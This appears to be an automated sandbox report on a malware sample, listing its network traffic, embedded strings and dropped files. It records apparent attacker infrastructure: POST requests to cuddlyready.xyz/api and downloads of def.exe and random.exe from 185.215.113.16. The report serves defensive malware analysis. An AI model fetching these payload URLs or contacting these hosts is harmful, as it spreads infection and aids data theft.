Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FPJ2QG377Y0FNCCN2WPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570054Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: cuddlyready.xyz
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: cuddlyready.xyz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cuddlyready.xyz

Source: pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2368363018.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369202644.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/U
Source: pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeerj(
Source: pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369375572.0000000001492000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369161675.00000000014AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exep(
Source: pfY4k1qisn.exe	String found in binary or memory: http://185.215.113.16:80/steam/random.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2369325034.000000000152E000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369139625.0000000001526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeD
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp, 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/CB
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/E
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/L
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp, 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/S
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/~
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.00000000015E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe, 00000004.00000002.2469702020.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206W
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: pfY4k1qisn.exe, 00000000.00000003.2193826940.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: pfY4k1qisn.exe, 00000000.00000003.2240771640.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2144810796.0000000001492000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2217024385.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2144810796.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2281086617.0000000005BBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/
Source: pfY4k1qisn.exe, 00000000.00000003.2281386728.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2258532827.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/5;
Source: pfY4k1qisn.exe, 00000000.00000003.2193926384.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2193563979.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2193717589.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2217024385.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2193270582.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/_
Source: pfY4k1qisn.exe, 00000000.00000003.2240812135.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/ap
Source: pfY4k1qisn.exe, pfY4k1qisn.exe, 00000000.00000003.2280816747.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369161675.00000000014AC000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2144810796.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/api
Source: pfY4k1qisn.exe, 00000000.00000003.2280816747.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apiV
Source: pfY4k1qisn.exe, 00000000.00000003.2369325034.000000000152E000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2219460576.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2281386728.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2240771640.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2369139625.0000000001526000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2258532827.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apiakK
Source: pfY4k1qisn.exe, 00000000.00000003.2144810796.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apis
Source: pfY4k1qisn.exe, 00000000.00000003.2369161675.00000000014AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/apiz
Source: pfY4k1qisn.exe, 00000000.00000003.2144810796.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/d
Source: pfY4k1qisn.exe, 00000000.00000003.2281386728.000000000152A000.00000004.00000020.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2258532827.000000000152A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz/pi
Source: pfY4k1qisn.exe, 00000000.00000003.2219460576.0000000001510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cuddlyready.xyz:443/api
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: pfY4k1qisn.exe, 00000000.00000003.2216916879.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2216710734.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: pfY4k1qisn.exe, 00000000.00000003.2145770904.0000000005B79000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145631037.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145689948.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: pfY4k1qisn.exe, 00000000.00000003.2194912397.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.173:443 -> 192.168.2.5:49724 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: pfY4k1qisn.exe	Static PE information: section name:
Source: pfY4k1qisn.exe	Static PE information: section name: .idata
Source: pfY4k1qisn.exe	Static PE information: section name:
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.0.dr	Static PE information: section name:
Source: QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.0.dr	Static PE information: section name: .idata
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr	Static PE information: section name:
Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCDCB7		3_2_00DCDCB7
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Code function: 3_2_00DCE729		3_2_00DCE729

Source: pfY4k1qisn.exe, 00000000.00000003.2346847121.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2330892977.00000000060A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2328327031.0000000005E4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2346329213.0000000006126000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2345582545.0000000006131000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2340841229.0000000005FEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2334033847.0000000005FF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2368910661.0000000001515000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2327734546.0000000005D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2337359566.0000000005FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2344924813.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
